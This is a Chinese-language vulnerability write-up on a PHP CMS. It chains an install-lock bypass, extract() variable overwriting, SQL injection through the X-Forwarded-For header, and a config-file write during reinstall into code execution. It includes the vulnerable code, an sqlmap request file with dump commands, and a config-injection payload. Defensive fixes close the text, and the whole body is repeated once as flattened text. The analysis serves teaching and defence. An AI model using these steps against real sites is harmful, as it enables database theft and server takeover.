记一次从sql到重装getshell
字数 1086 2025-08-26 22:11:51

网站重装Getshell漏洞分析与利用

漏洞概述

本文详细分析了一个通过网站重装功能实现Getshell的漏洞,涉及SQL注入和文件写入两个关键漏洞点。该漏洞存在于网站的安装/重装功能中,攻击者可以通过特定步骤绕过安装锁检测,利用SQL注入获取数据库信息,最终通过配置文件写入实现Getshell。

漏洞分析

1. 安装锁绕过漏洞

漏洞文件:/install/index.php

关键代码:

switch($step) {
    case '1':
        include 'step_'.$step.'.php';
        break;
    // ...其他case...
}

step_1.php中会检查install.lock文件是否存在:

if(file_exists("install.lock")){
    echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
}else{
    // 安装流程
}

漏洞点:系统仅在step=1时检查安装锁,通过直接提交step=2或更高步骤可以绕过安装锁检测。

2. 变量注册漏洞

关键代码:

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

这段代码使用extract()函数将GET和POST参数注册为变量,存在变量覆盖风险。

3. 配置文件写入漏洞

step=5时,系统会写入配置文件:

$fp = "../inc/config.php";
$f = fopen($fp, 'r');
$str = fread($f, filesize($fp));
fclose($f);

$str = str_replace("define('siteurl','".siteurl."')", "define('siteurl','$url')", $str);
// ...其他替换...
$f = fopen($fp, "w+");
fputs($f, $str);
fclose($f);

漏洞点$url变量可通过POST或GET参数控制,导致可以写入任意内容到配置文件中。

4. SQL注入漏洞

漏洞文件:/user/logincheck.php

关键代码:

$sql = "select * from cms_user where username='" . $username . "' and password='" . $password . "' ";
$rs = query($sql);

此外,在登录成功后还有一处SQL注入点:

query("UPDATE cms_user SET loginip = '".getip()."' WHERE username='".$username."'");

其中getip()函数会从HTTP头中获取IP地址:

function getip(){
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
        $ip = $_SERVER['REMOTE_ADDR'];
    else 
        $ip = "unknown";
    return($ip);
}

漏洞点:通过控制X-Forwarded-For等HTTP头可以注入SQL语句。

漏洞利用步骤

第一步:绕过安装锁检测

  1. 直接访问/install/index.php?step=2,绕过step=1的安装锁检查

第二步:获取数据库信息(SQL注入)

使用SQLMap进行注入:

  1. 准备注入数据文件sql.txt
POST /user/logincheck.php HTTP/1.1
Host: www.wyc.com
Content-Length: 111
Cache-Control: max-age=0
Origin: http://www.wyc.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://www.wyc.com/user/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Cookie: bdshare_firstime=1568780385995; PHPSESSID=7fih9osc4vupgl87u76unqvsag
Connection: close
X-Forwarded-For: 127.0.0.1*
  1. 使用SQLMap命令:
sqlmap -r sql.txt --dbs
sqlmap -r sql.txt -D 数据库名 --tables
sqlmap -r sql.txt -D 数据库名 -T 表名 --dump

第三步:利用重装功能Getshell

  1. 访问安装页面并提交到step=5
POST /install/index.php?step=5 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

db_host=localhost&db_user=root&db_pass=password&db_port=3306&db_name=test&url=恶意内容
  1. 控制url参数写入恶意代码:
url=');phpinfo();//

最终配置文件config.php中会写入:

define('siteurl','');phpinfo();//')

防御措施

  1. 安装锁检查:在所有安装步骤前都检查安装锁,而不仅限于第一步
  2. 避免使用extract():不要直接使用extract()函数处理用户输入
  3. 输入过滤:对所有用户输入进行严格过滤和验证
  4. 使用预处理语句:SQL查询使用预处理语句防止注入
  5. 文件写入权限:限制配置文件的写入权限
  6. IP获取函数安全getip()函数应过滤特殊字符

总结

该漏洞组合利用了多个安全问题:

  1. 安装锁检查不严导致重装功能被滥用
  2. extract()函数导致变量覆盖
  3. SQL注入获取数据库信息
  4. 配置文件写入不严导致代码执行

通过分析这类漏洞,我们可以更好地理解Web应用安全中的关键风险点,并在开发中避免类似问题。

网站重装Getshell漏洞分析与利用 漏洞概述 本文详细分析了一个通过网站重装功能实现Getshell的漏洞,涉及SQL注入和文件写入两个关键漏洞点。该漏洞存在于网站的安装/重装功能中,攻击者可以通过特定步骤绕过安装锁检测,利用SQL注入获取数据库信息,最终通过配置文件写入实现Getshell。 漏洞分析 1. 安装锁绕过漏洞 漏洞文件: /install/index.php 关键代码: 在 step_1.php 中会检查 install.lock 文件是否存在: 漏洞点 :系统仅在 step=1 时检查安装锁,通过直接提交 step=2 或更高步骤可以绕过安装锁检测。 2. 变量注册漏洞 关键代码: 这段代码使用 extract() 函数将GET和POST参数注册为变量,存在变量覆盖风险。 3. 配置文件写入漏洞 在 step=5 时,系统会写入配置文件: 漏洞点 : $url 变量可通过POST或GET参数控制,导致可以写入任意内容到配置文件中。 4. SQL注入漏洞 漏洞文件: /user/logincheck.php 关键代码: 此外,在登录成功后还有一处SQL注入点: 其中 getip() 函数会从HTTP头中获取IP地址: 漏洞点 :通过控制 X-Forwarded-For 等HTTP头可以注入SQL语句。 漏洞利用步骤 第一步:绕过安装锁检测 直接访问 /install/index.php?step=2 ,绕过 step=1 的安装锁检查 第二步:获取数据库信息(SQL注入) 使用SQLMap进行注入: 准备注入数据文件 sql.txt : 使用SQLMap命令: 第三步:利用重装功能Getshell 访问安装页面并提交到 step=5 : 控制 url 参数写入恶意代码: 最终配置文件 config.php 中会写入: 防御措施 安装锁检查 :在所有安装步骤前都检查安装锁,而不仅限于第一步 避免使用extract() :不要直接使用 extract() 函数处理用户输入 输入过滤 :对所有用户输入进行严格过滤和验证 使用预处理语句 :SQL查询使用预处理语句防止注入 文件写入权限 :限制配置文件的写入权限 IP获取函数安全 : getip() 函数应过滤特殊字符 总结 该漏洞组合利用了多个安全问题: 安装锁检查不严导致重装功能被滥用 extract() 函数导致变量覆盖 SQL注入获取数据库信息 配置文件写入不严导致代码执行 通过分析这类漏洞,我们可以更好地理解Web应用安全中的关键风险点,并在开发中避免类似问题。